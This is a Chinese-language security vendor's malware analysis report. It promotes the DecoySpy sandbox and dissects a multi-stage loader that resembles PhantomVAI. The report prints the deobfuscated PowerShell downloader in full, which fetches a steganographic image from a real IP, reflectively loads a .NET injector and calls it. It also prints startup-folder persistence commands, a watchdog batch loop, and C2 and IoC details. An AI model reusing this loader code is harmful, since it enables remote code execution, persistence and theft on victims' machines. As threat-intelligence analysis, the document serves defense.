【多模态诱捕应用系列】吉探(APT沙箱)未知威胁检测实战案例分析

    发布时间:2026-01-20

多模态诱捕是针对多模态安全对象、多模态网络攻击特点,设计多类型的仿真、诱捕和分析方法,并基于AI进行有机融合来构建面向数字化时代、复杂业务场景的多模态仿真及攻击诱捕分析能力,以有效应对多模态组合攻击、高级未知隐蔽攻击。

在多模态诱捕中,文件诱捕分析是其中重要组成部分。文件载荷作为文件诱捕分析的主要对象,在网络攻击过程中起到了至关重要的作用,文件载荷是攻击者实现攻击目标的核心载体,它通常包含恶意代码、漏洞利用程序、控制指令或攻击模块等关键内容,贯穿于攻击的初始入侵、权限扩张、目标达成等各个环节。其在攻击链的多个阶段都有着重要的作用。

作为吉幻•攻击诱捕防御与溯源系统(DecoyPro)里多模态文件诱捕分析的核心组件——吉探•高级威胁检测与分析系统(DecoySpy)也可以独立部署运行,提供对网络流量和可执行文件、文档等多种格式的文件进行深度威胁检测和分析的能力,系统具有自定义检测、防逃逸沙箱、交互式分析等特点,利用动态行为、静态特征、特征模式、情报IOC、威胁模型等多种威胁分析手段对恶意软件的真实企图进行深度剖析,能够发现常规手段无法检测的APT攻击等高级威胁。

1. 实战案例

近日,在现网某客户侧部署的吉探产品推送了一条检测到未知威胁的告警通知,安全监测人员随即登录系统,查看到了对应的可疑样本:

图片

打开样本分析报告,样本的基础信息如下:

图片

各异构检测引擎检测的结果汇总如下:

图片

通过各引擎的检测结果,可以看到针对此样本所有的静态检测、模型检测的检测结果均为正常,只有沙箱引擎发现了很多异常行为点,继续查看样本的动态行为分析时序图:

图片

查看样本运行期间的联网行为:

图片

查看样本运行过程中的ATT&CK技战术映射图:

图片

样本运行期间释放的文件列表:

图片

基于吉探输出的样本分析报告结果,确定了此样本为未知威胁样本,安排技术人员对此样本做进一步人工分析。

2. 人工分析


对样本进一步进行人工分析和溯源,样本基本信息如下:

图片

此样本为64 位程序,其中资源包含一个 CAB,解压为一个混淆的 vbs 文件:

图片

样本运行后会执行释放的 vbs 脚本,脚本运行后启动 PowerShell

图片

PowerShell 命令:



"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$ddsdgo ='WwBOAGUAdAAuAF...[省略...]';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsdgo.replace('d@','r') ));& ([scriptblock]::Create($OWjuxD))

将 $ddsdgo 变量内容经替换和转码后为另一段 PowerShell 代码:

图片


[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12function Get - ImageData {  param ([string[]]$urls) foreach ($url in $urls) {       try {           $request = [System.Net.WebRequest]::Create($url);           $request.Method = 'GET';           $response = $request.GetResponse();           $stream = $response.GetResponseStream();           $memoryStream = New - Object System.IO.MemoryStream;           $stream.CopyTo($memoryStream);           return $memoryStream.ToArray()        } catch {           continue        }  };   return $null }$Protocol = 'http';$Separator = '://';$baseUrl = $Protocol  +  $Separator;$hostPart = '196.251.107.12';$pathPart = '/public_files/';$filePart = '160064.jpg';$queryPart = '?12711313';$fullUrl = $Protocol  +  $Separator  +  $hostPart  +  $pathPart  +  $filePart  +  $queryPart;$links = @(($fullUrl));$imageBytes = Get - ImageData $links;if ($imageBytes  - ne $null)  {   $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);   $startFlag = '<<BASE64_START>>';   $endFlag = '<<BASE64_END>>';   $startIndex = $imageText.IndexOf($startFlag);   $endIndex = $imageText.IndexOf($endFlag);   if ($startIndex  - ge 0  - and $endIndex  - gt $startIndex)  {       $startIndex += $startFlag.Length;       $base64Lengthh = $endIndex  -  $startIndex;       $base64Command = $imageText.Substring($startIndex, $base64Lengthh);       $endIndex = $imageText.IndexOf($endFlag);       $commandBytes = [System.Convert]::FromBase64String($base64Command);       $endIndex = $imageText.IndexOf($endFlag);       $endIndex = $imageText.IndexOf($endFlag);       $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);       Get - Process | Sort - Object CPU  - Descending | Select - Object  - First 5 | Format - Table Name, CPU;       $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme');       Get - Process | Sort - Object CPU  - Descending | Select - Object  - First 5 | Format - Table Name, CPU;       $injec = 'RegAsm';       $methName = 'lfs' + 'ged' + 'dddddd' + 'a';       $method = $type.GetMethod($methName).Invoke($null, [object[]] ('txt.5f5SBJc/selif_cilbup/21.701.152.691//:', '0', 'sMkhspqbY', $injec, '0'))   }}

此段代码会去远程下载一张图片资源:

图片

图片使用了隐写术,在图片二进制数据最后塞入了一大串经 Base64 编码后字符串:

图片

以 <<BASE64_START>> 为起点,<<BASE64_END>>为终点,获取其中内容,将其转码:

图片

从转换后的内容特征可知是一个 PE 文件,再用 DIE 进一步查看为一个 64 位的 .NET 编写的 DLL:

图片

PowerShell 代码去调用此 DLL 中 testpowershell.Hoaaaaaasdme 下 lfsgeddddddda方法,向其传入了一个 URL 参数,尝试去访问,又是一大段编码后数据:

图片

对此 DLL 进行反编译:

图片

·address:txt.5f5SBJc/selif_cilbup/21.701.152.691//:

·enablestartup:0

·startupname:sMkhspqbY

·injection:RegAsm

·persistence:0

根据自启动类型分别设置相应自启动项,当自启动类型为 1 时,判断自启动目录下(C:\Users\xxxxx\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup) 是否存在 sMkhspqbY.bat 文件,如果不存在执行以下命令:


powershell -WindowStyle Hidden if ((Get-Location).Path -ne '[自启动目录]') { (Get-ChildItem *.bat | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination [自启动目录]/sMkhspqbY.bat -Force}

接着判断自身是否处于自启动目录下,若不存在则将该目录下最近的 bat 文件拷贝到自启动目录下。

当自启动类型为 2 时,分别尝试在以下注册表写入相应值

·HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

·HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run (以上写入失败时在此项下写入)

键名为 My Program,键值为 wscript.exe "C:\ProgramData\sMkhspqbY.bat"。接着判断自身是否处于C:\Windows\System32 或 C:\Windows\SysWow64 目录下,若处于,则运行如下 PS 命令:


powershell Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait

强制结束 RegAsm.exe、Vbc.exe 和 MsBuild.exe 进程,延迟 1 秒后执行以下 PS 命令:


powershell -WindowStyle Hidden if ((Get-Location).Path -ne 'C:\ProgramData') { (Get-ChildItem *.vbs | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination 'C:\ProgramData\sMkhspqbY.vbs' -Force }

将当前目录最近的 .vbs 脚本拷贝到 C:\ProgramData 目录下。

接下来将 URL 反转访问,获取内容后反转替换:

图片

将 payload 传入 Ande3,手动将 payload 转码:

图片

Ande3 有两个版本,x86 和x64:

图片

最后在临时目录下写入 wrffite.bat 文件:

图片

wrffite.bat 内容,监控 RegAsm 进程,每分钟查一次,如果进程不存在,自动运行 vbs 脚本,运行约 16.7 小时后自动停止。








set count=0:loopset /a count=%count%+1timeout 60tasklist /fi "ImageName eq RegAsm.exe" /fo csv 2>NUL | find /I "RegAsm.exe">NULif "%ERRORLEVEL%"=="1" cscript "[path]/sMkhspqbY.vbs"if %count% neq 1000 goto loop

Ande3 首先对 payload 判断是否为 PE 文件,再判断是否为 64 位:

图片

若是则以创建远程线程注入方式向 RegAsm 进程注入 payload:

图片

注入 payload 分析

该 payload 中用了大量的 xor 操作,静态反编译后很多 sub 充斥着大量如下固定格式:

图片

最后都是 jmp [寄存器],寄存器中值不确定,这在一定程度上增加静态逆向分析难度。

创建互斥体

首先 xor 解密出内核对象标识符:

图片

后又解密出 _User:

图片

最终两者拼接成 Global{A3B8D2F1-5C7E-4D9A-B2C6-8E3F9A7B1D4C}_User 用作互斥体名:

图片

修改注册表实现持久化

接着 xor 解密出 WindowsUpdateHelper,随后将自身设置为启动项以实现持久化,键名为 WindowsUpdateHelper,键值为 payload 路径:

图片

解密 C2 连接信息

xor 解密出 C2 -> 91[.]219.238.230 以及端口号 5555:

图片

首次向 C2 发起连接:

图片

组装配置信息

获取当前用户名及计算机名:

图片

并用解密出来的 @ 单个字符进行两者拼接:

图片

获取当前操作系统版本:

图片

获取所处国家信息 (http[:]//ip-api.com/line/?fields=country):

图片

获取当前用户权限:

图片

获取当前环境位数及 IP (http[:]//ip-api.com/line/?fields=query):

图片

最后将以上获取到的基本信息用 | 组合:

图片

进行加密再后发送:

图片

心跳间隔 1 分钟,发送数据等待接收指令:

图片

心跳包:

图片

由于请求 C2 后返回的数据为空,暂时无法继续分析后续行为。

3. 总结


从样本整个行为来看,起点为混淆的 vbs 脚本启动 powershell,命令参数经过了 base64 编码和替换,远程读取使用了隐写术的图片资源数据,解码后为 .NET Loader 注入器,Loader 获取远程混淆数据并解码为payload 再将其注入到 RegAsm 进程中,payload中使用了大量混淆,阻碍分析人员对其进行静态分析。注入前期间还通过注册表操作实现自启动以实现持久化,这一系列操作行为和 PhantomVAI Loader 很相似,PhantomVAI Loader 是一种在地下论坛以 MaaS 模式售卖的新型恶意软件,现已成为多种 RAT 和 infoStealer 的主要传播工具。

IoC

IP

·196[.]251[.]107[.]12

·91[.]219[.]238[.]230:5555 (C2)

URL

·http[:]//196.251.107.12/public_files/160064.jpg?12711313

·http[:]//196.251.107.12/public_files/cJBS5f5.txt

HASH

·f176b4b5967a9bc7b41cdf6976d7a180

·86c54f956a33a43bdf95c13d2004bfb9 (6969065702c1e.vbs)

·278120fef144ff2fe02479d9ffc44e93 (160064.jpg)

·b421080b8f23fb1800e1ce9c7363600b (cJBS5f5.txt)

·84b123908538d1e64031b82a93b97117 (payload_1)

·680b6552ef54ef2da58c9c2aecd8f741 (payload_2)

Others

·Global{A3B8D2F1-5C7E-4D9A-B2C6-8E3F9A7B1D4C}_User